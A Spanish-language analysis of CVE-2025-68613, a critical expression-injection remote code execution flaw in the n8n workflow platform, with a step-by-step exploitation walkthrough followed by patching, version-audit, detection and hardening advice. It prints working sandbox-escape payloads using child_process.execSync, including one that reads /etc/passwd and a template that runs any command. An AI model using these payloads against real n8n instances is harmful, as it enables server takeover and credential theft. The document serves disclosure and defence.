
CVE-2025-68613 (n8n) Análisis de RCE crítico + recomendaciones defensivas (validación de parches, ideas de detección y consejos de endurecimiento)
CVE-2025-68613 es una vulnerabilidad crítica de ejecución remota de código en la plataforma de automatización de flujos de trabajo n8n que permite a atacantes autenticados ejecutar comandos arbitrarios del sistema a través de inyección de expresiones.
⚡ Estadísticas rápidas
|
🎯 Datos clave
|
| Propiedad | Valor |
|---|---|
| 🆔 ID de CVE | CVE-2025-68613 |
| 📊 Puntuación CVSS | 9.9 (Crítica) 🔴 |
| 🔗 Vector CVSS | CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H |
| 🏷️ CWE | CWE-913 (Control inadecuado de recursos de código gestionados dinámicamente) |
| 📦 Versiones afectadas | 0.211.0 → 1.120.3, 1.121.0 |
| ✅ Versiones parcheadas | 1.120.4, 1.121.1, 1.122.0+ |
n8n es una plataforma de automatización de flujos de trabajo de código abierto que permite integración sin código / con poco código en más de 400 aplicaciones. Se despliega ampliamente en:
| 🏢 Caso de uso | 📝 Descripción |
|---|---|
| 🔧 DevOps | Tuberías de automatización, integraciones CI/CD |
| 🛡️ Operaciones de seguridad | Flujos de trabajo SOAR, respuesta a incidentes |
| 💼 Negocios | Automatización de procesos, flujos de datos |
| 📊 Datos | Procesos ETL, integraciones API |
🔓 CADENA DE VULNERABILIDAD:
┌─────────────────────────────────────────────────────────────────┐
│ 📝 Lenguaje de expresiones n8n → Manejo dinámico de datos │
│ ↓ │
│ ⚠️ Aislamiento insuficiente del sandbox en evaluación servidor│
│ ↓ │
│ 💀 Expresión maliciosa escapa del sandbox │
│ ↓ │
│ 🖥️ Acceso al módulo child_process de Node.js │
│ ↓ │
│ 💥 RCE COMPLETA - Ejecución de comandos del SO │
└─────────────────────────────────────────────────────────────────┘
Requisitos previos para la explotación:
| # | 📋 Requisito | 📝 Detalles |
|---|---|---|
| 1️⃣ | Autenticación | Cuenta de usuario válida de n8n (bajo privilegio suficiente) |
| 2️⃣ | Permisos | Capacidad de crear/editar flujos de trabajo |
| 3️⃣ | Acceso a la red | Capacidad de alcanzar la instancia de n8n |
| 🏷️ Atributo | 📊 Valor | 🔥 Riesgo |
|---|---|---|
| Complejidad | BAJA (AC:L) | 🔴 Alto |
| Interacción del usuario | Ninguna requerida | 🔴 Alto |
| Alcance | Cambiado | 🔴 Crítico |
graph TD
A[🔐 Usuario autenticado] -->|Crea| B[📝 Nuevo flujo de trabajo]
B -->|Inyecta| C[💀 Expresión maliciosa]
C -->|Desencadena| D[⚡ Evaluación de expresión]
D -->|Explota| E[🔓 Escape del sandbox]
E -->|Accede| F[🖥️ Entorno de ejecución Node.js]
F -->|Ejecuta| G[💥 Comando del SO vía child_process]
G -->|Logra| H[☠️ COMPROMISO TOTAL DEL SERVIDOR]
style A fill:#4CAF50,color:#fff
style C fill:#ff9800,color:#fff
style E fill:#f44336,color:#fff
style H fill:#9c27b0,color:#fff
⚠️ AVISO: Lo siguiente es solo para fines educativos. La explotación no autorizada es ilegal.
Acceso inicial a la plataforma de automatización de flujos de trabajo n8n vulnerable.
🔓 Panel de bienvenida de n8n - Punto de entrada
Crear un nuevo flujo de trabajo que contendrá el payload malicioso.
📝 Creando nuevo flujo de trabajo con "Añadir primer paso"
Configurar el disparador del flujo de trabajo: el disparador manual permite la ejecución a demanda.
🎯 Seleccionando disparador manual para la activación del flujo de trabajo
Añadir el nodo "Editar campos (Set)" que contendrá la expresión maliciosa.
🔧 Añadiendo nodo "Editar campos (Set)" para la inyección del payload
El paso crítico: inyectar la expresión de escape del sandbox para lograr RCE.
💀 ¡La expresión maliciosa ejecuta el comando 'id' con éxito!
// 🔴 MALICIOUS PAYLOAD (DO NOT USE ILLEGALLY)
{{ (function(){ return this.process.mainModule.require('child_process').execSync('id').toString(); })() }}
Salida muestra: uid=1000(node) gid=1000(node) groups=1000(node) ✅ ¡RCE CONFIRMADO!
Code Injection GIF
⚠️ ADVERTENCIA: Estos payloads son solo para pruebas de seguridad autorizadas. ¡El uso no autorizado es ilegal!
{{ (function(){ return this.process.mainModule.require('child_process').execSync('id').toString() })() }}
{{ (function(){ return this.process.mainModule.require('child_process').execSync('pwd').toString() })() }}
{{ (function(){ return this.process.mainModule.require('child_process').execSync('cat /etc/passwd').toString() })() }}
{{ (function(){ return this.process.mainModule.require('child_process').execSync('YOUR_COMMAND_HERE').toString() })() }}
💀 Leyendo /etc/passwd - ¡Acceso completo al sistema de archivos demostrado!
| 🎯 Payload | 📋 Salida esperada |
|---|---|
id | uid=1000(node) gid=1000(node) groups=1000(node) |
pwd | /app |
cat /etc/passwd | Lista completa de usuarios del sistema (root, daemon, node, etc.) |
env | Todas las variables de entorno, incluyendo secretos |
ls -la / | Listado del sistema de archivos raíz |
┌─────────────────────────────────────────────────────────────────────────┐
│ 🔴 CAUSA RAÍZ DE LA VULNERABILIDAD │
├─────────────────────────────────────────────────────────────────────────┤
│ │
│ El evaluador de expresiones n8n CARECE de un saneador para evitar │
│ que las expresiones de función accedan a: │
│ │
│ ❌ this.process → Objeto de proceso de Node.js │
│ ❌ mainModule.require → Sistema de carga de módulos │
│ ❌ child_process → Ejecución de comandos del SO │
│ │
│ ¡Esto permite acceso directo a módulos del sistema y ejecución de │
│ código arbitrario! │
│ │
└─────────────────────────────────────────────────────────────────────────┘
|
|
# 🛡️ Actualizar n8n a la versión parcheada
npm install -g n8n@latest
# O con Docker
docker pull n8n/n8n:1.122.0
| Fase | 🔥 Acción | 💀 Impacto |
|---|---|---|
| 1️⃣ | Acceso inicial | Autenticarse en n8n |
| 2️⃣ | Ejecución | Enviar flujo de trabajo malicioso |
| 3️⃣ | Persistencia | Desplegar shell inversa / backdoor |
| 4️⃣ | C2 | Establecer comando y control |
| 5️⃣ | Acciones | Exfiltrar datos, movimiento lateral |
| 🎯 Acción | 💥 Nivel de impacto |
|---|---|
| 🔑 Robo de credenciales | Extraer claves API, tokens OAuth, contraseñas de BD |
| 📤 Exfiltración de datos | Datos de flujo de trabajo, registros de ejecución, información empresarial |
| 🔒 Persistencia | Tareas cron, scripts de inicio, shells web |
| 🔀 Movimiento lateral | Pivotar a bases de datos, CI/CD, infraestructura en la nube |
| 🗑️ Manipulación del flujo de trabajo | Modificar/destruir lógica de automatización |
🔴 Confidencialidad (ALTA)
|
🟠 Integridad (ALTA)
|
🟡 Disponibilidad (ALTA)
|
| # | 📋 Método | 🔍 Qué monitorear |
|---|---|---|
| 📜 | Análisis de registros | Comandos inusuales del proceso n8n, expresiones fallidas |
| 🌐 | Red | Conexiones salientes a IPs desconocidas, solicitudes POST grandes |
| ⚡ | Tiempo de ejecución | Invocaciones a child_process, spawns inesperados |
| 📦 | Auditoría de versiones | Verificar contra el rango de versiones vulnerables |
#!/usr/bin/env bash
# 🔍 CVE-2025-68613 n8n version audit
echo "🔍 Comprobando versión de n8n..."
if command -v n8n >/dev/null 2>&1; then
VER="$(n8n --version | tr -d 'v' | head -n1)"
if [[ "$VER" < "1.120.4" ]] && [[ "$VER" >= "0.211.0" ]]; then
echo "⚠️ VULNERABLE: n8n $VER afectado por CVE-2025-68613"
echo "📦 Requerido: Actualizar a 1.120.4, 1.121.1 o 1.122.0+"
exit 2
else
echo "✅ SEGURO: n8n $VER está parcheado"
fi
else
echo "❌ n8n no encontrado en PATH"
fi
| 🔢 Prioridad | 🛠️ Acción | 📝 Detalles |
|---|---|---|
| 🔴 P0 | PARCHEAR AHORA | Actualizar a 1.120.4, 1.121.1 o 1.122.0+ |
| 🟠 P1 | Restringir acceso | Limitar la creación de flujos de trabajo a usuarios de confianza |
| 🟡 P2 | Endurecimiento de contenedores | Desplegar con restricciones de seguridad |
# 🛡️ Despliegue endurecido de n8n
FROM n8n/n8n:1.122.0
# 👤 Ejecutar como usuario no root
USER node
# 🔒 Aplicar estas banderas de tiempo de ejecución:
# --read-only --tmpfs /tmp:rw,noexec,nosuid
# --cap-drop=ALL --cap-add=NET_BIND_SERVICE
# --security-opt seccomp=n8n-seccomp.json
| 🛡️ Medida | 📝 Implementación |
|---|---|
| 🌐 Segmentación de red | Aislar instancias n8n |
| 🔥 Reglas WAF | Monitorear patrones de expresiones |
| 📜 Registro de auditoría | Habilitar registro completo |
| 🔍 Revisiones de seguridad | Evaluaciones regulares de flujos de trabajo |
| 🔓 Mínimo privilegio | Aplicar controles de acceso |
¿Cómo diseñaría una regla de detección para identificar intentos de inyección de expresiones en las definiciones de flujos de trabajo de n8n antes de la ejecución, considerando la necesidad de equilibrar la seguridad con el uso legítimo de expresiones dinámicas?
Bonus: ¿Qué protecciones en tiempo de ejecución implementaría para limitar el radio de explosión si ocurre un escape del sandbox a pesar del parche?
#CVE-2025-68613 #n8n #RCE #Inyección-de-Expresiones #Automatización-de-Flujos-de-Trabajo
#Escape-de-Sandbox #CWE-913 #Vulnerabilidad-Crítica #Pentesting #Equipo-Azul
⚠️ AVISO: Este análisis es solo para fines educativos y de seguridad defensiva.
La explotación no autorizada de vulnerabilidades es ILEGAL.